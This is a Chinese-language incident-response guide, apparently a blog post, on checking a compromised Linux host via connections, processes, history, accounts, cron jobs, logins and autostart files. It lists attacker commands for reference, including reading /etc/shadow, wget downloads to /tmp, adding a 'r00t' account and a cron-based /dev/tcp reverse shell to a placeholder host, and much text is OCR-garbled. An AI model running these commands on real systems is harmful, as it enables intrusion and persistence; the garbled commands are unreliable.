Linux主机排查
一、网络连接
执行netstat -anp 命令查看当前网络连接。
a. 主机被攻击者当作跳板机对内网实施端口扫描或者口令暴力破解等攻击(常见如22,445,3389,6379等端口)。
b. 主机和外网ip已经建立连接可通过查询ip所属地,或者进一步通过威胁情报(https://x.threatbook.cn/等 。
c. 如果无法直接从网络连接情况判定是否异常,可以通过产生该网络连接对应的进程ID定位相关文件。如果为二进制文件可上传至virustotal(https://www.virustotal.com)进行检测。
此外,攻击者也常常直接使用linux的bash反弹shell。这种方式产生的网络连接不需要借助其他外部文件运行。可以发现产生异常连接的进程名为bash。
二、进程信息
执行ps -aux或者ps -ef查看是否存在异常进程。
分析进程信息,寻找异常的进程。如图发现web用户存在一个异常进程,执行的命令中包含了一条base64编码的命令,解码后发现是执行了ping -c 1 8zm8w4.dnslog.cn命令。Dnslog.cn 是攻击者在进行漏洞探测/漏洞盲打时使用的接受结果平台,可知该进程为异常进程,并且可根据进程对应用户推测攻击者可能是攻击了web应用产生的进程信息。
如果出现进程多,无法判断异常进程的话可以用排除法,先排除掉正常业务进程,筛选剩下的可能异常的进程,根据进程寻找对应文件,如果是对应是脚本文件,可直接查看分析脚本文件是否执行恶意操作,对于ELF文件,可借助virustotal去进行分析。
三、历史命令
执行history命令或者到用户的home目录查看.bash _history 文件排查是否存在异常的历史命令执行。
分析方法:
1.对历史命令执行分析,攻击者在获取权限后一般会执行whoami、lfconflg. cat
/letc/passwd、netstat、 ping 等命令进行信息收集,如果出现一连串的这些信息收集命令,有可能是存在异常的。进一步的可以再根据后面的是否存在其他异常操作来进一步确认, 如2下图可知,攻击者在进行一系列的信息收集后,执行wget命令从远程下载了一个文件到/tmp目录,而后执行了该文件,从历史命令可知攻击者利用该文件执行对 10.0.0.1/24扫描了445端口。
3以下总结攻击者常见执行命令供参考:
信息收集类:
whoami (查看当前用户)
ifconfig (获取网卡信息)
cat/etc/shadow (查看密码文件信息)
netstat anp/netstat ano (查看网络连接)
ps -aux/ps ef (查看进程信息)
pingx.x.x.x (查看网络是否可达)
远程下载类:
wget -O /tmp/xx ht://.x.x.xxcurl -0 /tmp/xxxx ht:// x.x.x)xx
权限维持类:
useradd r00t (添加账号
passwd r00t (添加/修改密码)
(crontab l;echo */1 … exec 9<> /devitcp/x x xwooox,exec 0<&9,exec 1>&92>&1/bin/bash -noprofile -f)lcrontab . (添加计划任务)
四、后门账号
1.排查步骤:
执行命令cat /etc/passwd查看所有账号信息。
2.分析方法
a.查看是否存在异常账号,如是否存在多个UID为0的账号,也可通过执行命令awk -F: ‘(f($3==0)print $1)’ /etc/passwd 可以查看 UID 为0的账号,通常情况下系统里面只有root账号UID为0。
b.除了需要关注UID为0的账号外,也雷要关注其他是否存在其他后门账号,可以根据账号名来大概进行判断,对于无法自行判断是否为后门账号,需要和客户进行确认。
五、计划任务
1.排查步骤:
a.执行命令crontab.l命令查看当前用户的计划任务。
b.执行命令cat /etclcrontab查看计划任务(/etc/crontab 计划任务只有root用户可以修改)。
C.到计划任务所在目录如arisollcron/或者lrlspoocron/crontabos查看计划任务。
2.分析方法:
a. crontab-I命令可以查看当前用户的计划任务。如果当前用户存在计划任务,则进一步需要判断该计划任务是否存在恶意行为。如下,root 用户存在计划任务公每分钟会执行/tmpltest.sh脚本。 进-步查看该脚本的内容发现为bash反弹shell脚本,可以判别为恶意的计划任务。
b.不能仅仅使用crontab命令查看计划任务,该命令只能查看当前用户的计划任务,并且,如果攻击者写入隐藏的计划任务,使用该命令也无法排查出来。登录root用户到计划任务所在目录,a般asiolroroga/apis/oro/cronao 目录下面可以看到所有的计划任务,对于隐藏大划任务不能使用cat直按查看计划任务内容,使用vi进入编辑模式即可查看原始内容。
六、登录日志
排查步骤:
a.执行last命令查看用户最近登录日志。
b.查看ssh登录日志,关注是否有遭受口令暴力破解尝试。
分析方法:
a.可以直接执行last命令查看用户最近登录日志,需要先关注登录日志中来自pts 登录是否有异常IP登录。对于异常IP的识别,如果是来自互联网的IP需要重点关注(如果SSH不对互联网开放的话,内网主机看到的登录基本都是来自内网IP),另外如果客户平常运维使用的是堡垒机登录的话,如果出现了来自非堡垒机IP的登录IP也需要关注。如果
无法判断登录P是否异常,需婴与各户方进行确认。因为这里的关注点是异常P,因此我们可以直接执行命令last-aI awk Tpi/piit SNF’Iuniq c对最近登录的IP进行去重并且统计次数。
b.分析ssh登录日志的错误情况,排查是否遭受过口令暴力破解攻击。ssh 登录日志一般位于arlog/secure或者arlog/auth,可能会存在多个历史日志文件。执行命令catsecure" |grep "Accepr查看日志并匹配登录成功关键字可获取登录成功的日志信息。这里更多需要关注的是登录失败的情况,执行命令cat secure* I grep “Fail"查看日志并匹配登录失败的日志信息,如果在某个较短时间范围内存在大量的登录失败日志,则很大可能是遭受口令爆破导致。
如果发现存在某些P的大量登录失败行为,下一步可以关注这些IP在日志中是否存在登录成功的信息,执行命令cat secure” lgrep "ccepr lgrep IP,如果存在成功登录的日5, 则攻击者已经暴力破解成功。
七、自启动项
查看Linux自启动项,确认是否存在恶意的命令执行。常见的设置自启动项方法有:a.通过编辑/etclrc local或者/etrc.drc.loca (前者为后者的软链接,实际为同一个文件)实现;
b.将脚本放到etcrprofle .d/目录下实现开机自启动:
C.通过添加脚本到etcinit.d或者etcrdinit.d目录(前者为后者的软链接)实现自启动
d.通过编辑/etcipfofle、/etc/bashrc. -/.bashrc、 -/.bash profile 等实现自启动分析方法:
查看自启动项文件是否存在恶意行为。如下图,查看-/.bashrc 发现存在命令
/mnt/test.sh。
查石test.sh的内容,该脚本主要实现从远程服务器下载testisp到Web应用目录,至此,可大致确认该命令存在恶意操作。
进一步的,可以再分析下载的test.jsp的内容,可以看到下载到web应用目录的为冰蝎webshell。
八、我的公众号
后续操作请持续关注哦!!!
了解更多请关注下列公众号:
😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗😗😗😗😗😗😗😗😗
😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗😗😗😗😗😗😗😗😗